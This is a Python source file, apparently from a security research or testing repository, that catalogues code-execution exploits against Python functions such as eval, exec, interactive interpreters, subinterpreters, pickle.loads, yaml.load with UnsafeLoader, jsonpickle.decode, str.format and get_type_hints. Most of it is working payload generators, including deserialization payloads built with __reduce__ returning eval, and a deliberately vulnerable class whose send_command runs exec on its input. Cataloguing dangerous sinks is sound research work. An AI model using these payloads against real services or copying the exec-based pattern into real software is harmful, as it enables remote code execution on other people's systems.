Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Latest commit

 

History

History
History
241 lines (164 loc) · 6.7 KB

File metadata and controls

241 lines (164 loc) · 6.7 KB
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
import builtins
import base64
import jsonpickle
import pickle
import subprocess
import typing
from pathlib import Path
from typing import Callable, List, get_type_hints
import importlib
import tempfile
import yaml
import textwrap
import code
from test import support
import _testcapi
import _xxsubinterpreters
from .execution_base import Exploit
class PythonExploit(Exploit):
pass
class SimplePythonExploit(PythonExploit):
category_name = "Simple Python Code Execution"
def generate_payload(source_code: str) -> str:
return source_code
class InterpreterRunSourceExploit(SimplePythonExploit):
vulnerable_function = code.InteractiveInterpreter.runsource
def run_payload(payload: str) -> None:
inperpreter = code.InteractiveInterpreter()
inperpreter.runsource(payload)
class InterpreterRunCodeExploit(SimplePythonExploit):
vulnerable_function = code.InteractiveInterpreter.runcode
def run_payload(payload: str) -> None:
inperpreter = code.InteractiveInterpreter()
inperpreter.runcode(code.compile_command(payload))
class ConsolePushExploit(SimplePythonExploit):
vulnerable_function = code.InteractiveConsole.push
def run_payload(payload: str) -> None:
console = code.InteractiveConsole()
console.push(payload)
class TestSubinterpreterExploit(SimplePythonExploit):
vulnerable_function = support.run_in_subinterp
def run_payload(payload: str) -> None:
support.run_in_subinterp(payload)
class TestCAPISubinterpreterExploit(SimplePythonExploit):
vulnerable_function = _testcapi.run_in_subinterp
def run_payload(payload: str) -> None:
_testcapi.run_in_subinterp(payload)
class XXSubinterpreterExploit(SimplePythonExploit):
vulnerable_function = _xxsubinterpreters.run_string
def run_payload(payload: str) -> None:
_xxsubinterpreters.run_string(_xxsubinterpreters.create(), payload)
class EvalExploit(SimplePythonExploit):
vulnerable_function = builtins.eval
def run_payload(payload: str) -> None:
eval(payload)
class ExecExploit(SimplePythonExploit):
vulnerable_function = builtins.exec
def run_payload(payload: str) -> None:
exec(payload)
class InputExploit(SimplePythonExploit):
vulnerable_function = builtins.input
notes = "'input' is only vulnerable in Python 2"
def generate_payload(source_code: str) -> str:
return f"__import__('code').InteractiveInterpreter().runsource('''{source_code}''')"
def run_payload(payload: str) -> None:
with tempfile.TemporaryDirectory() as directory:
python_file = Path(directory) / "hello_world.py"
python_file.write_text(textwrap.dedent("""
print("What is your name?")
name = input()
print("Hello " + name)
"""))
program = subprocess.Popen(['python2', str(python_file)], stdin=subprocess.PIPE, text=True)
program.communicate(input=payload, timeout=1)
class SimpleVMExploit(SimplePythonExploit):
vulnerable_function = "object.__call__"
def generate_payload(source_code: str) -> List[str]:
return ["builtins.eval", source_code]
def run_payload(fully_qualified_function: str, argument: str) -> None:
module_name, _, function_name = fully_qualified_function.rpartition(".")
module = importlib.import_module(module_name)
function = getattr(module, function_name)
function(argument)
class PickleLoadsExploit(SimplePythonExploit):
vulnerable_function = pickle.loads
source = (
"https://www.kevinlondon.com/2015/08/15/dangerous-python-functions-pt2.html"
)
def generate_payload(source_code: str) -> str:
class Exploit(object):
def __reduce__(self):
return (eval, (source_code,))
return base64.b64encode(pickle.dumps(Exploit()))
def run_payload(payload: str) -> None:
payload = base64.b64decode(payload)
obj = pickle.loads(payload)
class YamlLoadsExploit(SimplePythonExploit):
vulnerable_function = yaml.load
source = (
"https://www.kevinlondon.com/2015/08/15/dangerous-python-functions-pt2.html"
)
notes = (
"'load' without an explicit loader has been deperecated since 2020, "
+ "and now requires 'UnsafeLoader' for the exploit to work: "
+ "https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation"
)
def generate_payload(source_code: str) -> str:
class Exploit(object):
def __reduce__(self):
return (eval, (source_code,))
return yaml.dump(Exploit())
def run_payload(payload: str) -> None:
yaml.load(payload, Loader=yaml.UnsafeLoader)
class JSONPickleLoadsExploit(SimplePythonExploit):
vulnerable_function = jsonpickle.decode
def generate_payload(source_code: str) -> str:
class Exploit(object):
def __reduce__(self):
return (eval, (source_code,))
return jsonpickle.encode(Exploit())
def run_payload(payload: str) -> None:
obj = jsonpickle.decode(payload)
class StringFormatExploit(SimplePythonExploit):
vulnerable_function = "str.format"
def generate_payload(source_code: str) -> str:
encoded_source_code = "".join(["\\" + hex(ord(c))[1:] for c in source_code])
return f"{{event.__init__.__globals__[record].exec(b'{encoded_source_code}')_send_command}}"
def run_payload(payload: str) -> None:
"""Note that this exploit is enabled by the following code at the global scope:
class DatabaseRecord:
def cached(self, attribute):
pass
def from_database(self, attribute):
pass
def send_command(self, command):
exec(command)
def __getattr__(self, key):
print(key)
attr_name, state = key.split("_", 1)
return getattr(self, state)(attr_name)
record = DatabaseRecord()
"""
class SomeObject(object):
def __init__(self, value):
self.value = value
payload.format(event=SomeObject(1))
class DatabaseRecord:
def cached(self, attribute):
pass
def from_database(self, attribute):
pass
def send_command(self, command):
exec(command)
def __getattr__(self, key):
print(key)
attr_name, state = key.split("_", 1)
return getattr(self, state)(attr_name)
record = DatabaseRecord()
class TypeHintExploit(SimplePythonExploit):
vulnerable_function = typing.get_type_hints
def run_payload(payload: str) -> None:
class C:
member: int = 0
C.__annotations__["member"] = payload
get_type_hints(C)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.